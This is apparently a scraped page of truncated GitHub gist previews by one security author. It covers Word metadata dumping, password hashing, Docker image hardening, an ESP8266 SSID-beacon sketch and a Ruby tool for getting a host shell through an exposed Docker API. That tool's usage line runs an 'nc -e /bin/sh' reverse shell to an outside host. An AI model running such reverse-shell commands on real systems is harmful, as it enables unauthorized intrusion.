This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! c:\perl\bin\perl.exe | |
#---------------------------------------------------------- | |
# WMD - Word Metadata Dumper version 1.0 | |
# Dump metadata from Word documents, without using the MS API | |
# | |
# Usage: C:\Perl>[perl] wmd.pl <filename> [> output] | |
# | |
# Modules: Requires the use of OLE::Storage, Startup, and | |
# Unicode::Map; for Activestate Perl, these modules | |
# can be easily installed using PPM |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
use strict; | |
use Digest::MD5 qw(md5 md5_hex md5_base64); | |
my $user=shift; | |
my $pass=shift; | |
my $realm='ManagementRealm'; # or ApplicationRealm | |
my $plaintext=$user.":".$realm.":".$pass; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// run_pie.c taken from chromium-crosswalk project | |
// Copyright 2014 The Chromium Authors. All rights reserved. | |
// Use of this source code is governed by a BSD-style license that can be | |
// found in the LICENSE file. | |
#include <dlfcn.h> | |
#include <stdio.h> | |
#include <string.h> | |
#include <sys/prctl.h> | |
#include <unistd.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
https://gist.github.com/eyecatchup/ec0a852428c19705380e | |
https://gist.github.com/eyecatchup/dab5cf7977008e504213 | |
http://forum.xda-developers.com/google-nexus-5/general/ref-nexus-5-stock-ota-urls-t2475327 | |
https://twrp.me/ | |
http://forum.xda-developers.com/showthread.php?t=1538053 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# Get Docker Host Shell abusing Docker API | |
# Copyright (C) 2015 Kost. Distributed under GPL. | |
# | |
# Prerequisite: | |
# gem install docker-api | |
# | |
# Example: | |
# ./docker_get_host_shell.rb -v -s 'nc -e /bin/sh example.com 4554' tcp://example.com:5422 | |
# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# recursively rename international characters in filenames | |
# Copyright (C) Vlatko Kosturjak - Kost | |
import os | |
import sys | |
import glob | |
import unicodedata | |
startingdir=u'.' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
REM Netsparker batch invocation | |
REM Copyright (C) Vlatko Kosturjak - Kost | |
On Error Resume Next | |
Set args = Wscript.Arguments | |
REM iterate through each argument/file | |
For Each arg in args | |
filename = arg |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
set -x | |
set -e | |
# | |
# Docker build calls this script to harden the image during build. | |
# | |
# NOTE: To build on CircleCI, you must take care to keep the `find` | |
# command out of the /proc filesystem to avoid errors like: | |
# | |
# find: /proc/tty/driver: Permission denied |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <ESP8266WiFi.h> | |
extern "C" { | |
#include "user_interface.h" | |
} | |
byte channel; | |
int maxssids=10; /* how much SSIDs we have */ | |
char *ssids[] = { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env phantomjs | |
// screenshotweb.js - Copyright (C) Kost | |
// PhantomJS script to screenshot web page | |
var system = require('system'); | |
var argv = system.args; | |
if (argv.length === 1) { | |
console.log('Provide URL to take screenshot: '+argv[0]+' <URL>'); | |
phantom.exit(); | |
} else { |